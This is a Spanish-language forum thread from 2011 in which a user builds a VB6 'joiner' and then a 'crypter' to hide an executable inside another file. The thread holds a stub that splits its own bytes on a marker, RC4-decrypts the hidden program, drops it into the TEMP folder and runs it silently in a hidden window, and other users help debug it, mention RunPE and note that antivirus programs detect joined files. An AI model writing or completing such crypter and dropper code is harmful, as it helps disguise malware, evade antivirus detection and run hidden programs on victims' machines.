[Duda] Generar archivos ejecutables a partir de los bytes originales

Iniciado por mastercss, 27 Septiembre 2011, 07:15 AM

0 Miembros y 4 Visitantes están viendo este tema.

mastercss

Quizas en el titulo no este muy bien definidad mi duda, asi que me dispodnre a aclararla. Mi idea, es conseguir los bytes que componen dos archivos ( una imagen y un ejecutable por ejemplo). Guardar esos bytes en dos variables diferentes, convertir esos bytes en programas y despues ejecutarlos. Todo ello desde vba claro esta. ¿Como podria sacar los bytes en hexadecimal de dos programas que yo elija y que un tercero, con esos bytes, los genere en disco, los ejecute y como no los copie a diferentes directorios del sistema?

Puede sonar complicado pero quiero ahcer algo parecido a esto...dejo el link del blog que por cierto seguro que alguno conoceis y sino, no tiene perdida, es la leche.

http://www.flu-project.com/ocultando-un-ejecutable-creando-nuestro-%E2%80%9Cjoiner%E2%80%9D-casero.html

De momento he hecho un trocito de codigo sencillo, lo dejo para que veais lo que quiero hacer.

Código (vb) [Seleccionar]
Private Sub Command1_Click()
    With pp
        .DialogTitle = "Elige el primer archivo"
        .Filter = "Ejecutables|*.exe"
        .ShowOpen
    End With
arcUno.Text = pp.FileName
End Sub

Private Sub Command2_Click()
    With pp
        .DialogTitle = "Elige el segundo archivo"
        .Filter = "Todo tipo de archivos|*"
        .ShowOpen
    End With
arcDos.Text = pp.FileName
End Sub

Private Sub Command3_Click()
Dim Data() As Byte
Dim DataLon As Long
Open arcUno For Binary Lock Read As 1
Open arcDos For Binary Lock Read As 2
Open byteRes For Binary Access Write As 3
DataLon = FileLen(arcUno) + Len(arcDos)
ReDim Data(DataLon) As Byte
Get #1, , Data
Get #2, , Data
Put #3, , Hex(Data(DataLon))
Close
End Sub

x64core

un joiner  ;D
generalmente se hace un split a las cadenas o bytes que has de dejar una marca para separarlos
aunque como me ah dicho Karcrack eso es vergonzoso y es verdad ;D y tambien
porque me ah dicho que los AVs detectan rapido los archivos "pegados"

Elemental Code

para juntar un exe y una imagen es necesario un tercer pedacito de programa llamado stub.

Se encarga de buscar en su propio codigo las dos partes y ejecutarlas.
Existen con RUNPE y de extraccion.
Busca en google :D

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas

mastercss

#3
Ok haciendo mi crypter al final ams que un binder, tengo un epqueño problema en el stub, me da Run-Time error 9 Subscript out of range.

A continuación pongo el code de mi stub.

Código (vb) [Seleccionar]
Option Explicit
Sub Main()
Dim Yo As String, Datos As String, sData() As String
Yo = App.Path & "\" & App.EXEName & ".exe"

Open Yo For Binary As #1
   Datos = Space(LOF(1))
   Get #1, , Datos
Close #1

sData() = Split(Datos, "%%##%%")

sData(1) = RC4(sData(1), "ma5t3r") 'linea que me tira el error

Open Environ("TEMP") & "\tmp.exe" For Binary As #1
   Put #1, , sData(1)
Close #1

Shell Environ("ComSpec") & " /c start " & Environ("TEMP") & "\tmp.exe", vbHide

End Sub
Private Function RC4(ByVal expresion As String, ByVal password As String) As String
   Dim i As Integer, j As Integer, t As Integer, tmp As Integer, s(256) As Integer, k(256) As Integer
   Dim key() As Byte, byteArray() As Byte
   Dim i2 As Long
   
   key() = StrConv(password, vbFromUnicode)
   For i = 0 To 255
       s(i) = i
       k(i) = key(i Mod Len(password))
   Next i
   For i = 0 To 255
       j = (j + s(i) + k(i)) Mod 256
       tmp = s(i)
       s(i) = s(j)
       s(j) = tmp
   Next i
   byteArray() = StrConv(expresion, vbFromUnicode)
   i = 0
   j = 0
   For i2 = 0 To Len(expresion) - 1
       i = (i + 1) Mod 256
       j = (j + s(i)) Mod 256
       tmp = s(i)
       s(i) = s(j)
       s(j) = tmp
       t = (s(i) + s(j)) Mod 256
       byteArray(i2) = byteArray(i2) Xor s(t)
   Next i2
   RC4 = StrConv(byteArray, vbUnicode)
End Function



Gracias por adelantado

ignorantev1.1

Emmmm probablemente solo resulte un array con un elemento "sData(0)", ya sea porque en el archivo que tratas de abrir no está colocada dicha "firma":

Código (vb) [Seleccionar]
sData(1) = RC4(sData(1), "ma5t3r") 'linea que me tira el error

Antes de la linea de arriba prueba poniendo:

Código (vb) [Seleccionar]
Msgbox ubound(sData)

Y nos cuentas lo que resultó.

Saludos!

mastercss

Me sale un MsgBox con un 2. Si aydua de algo puedo poner el código del crypter tambien.

Elemental Code

pone en otra variable el dato descifrado.

Código (vb) [Seleccionar]
sOrig = RC4(sData(1), "ma5t3r")

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas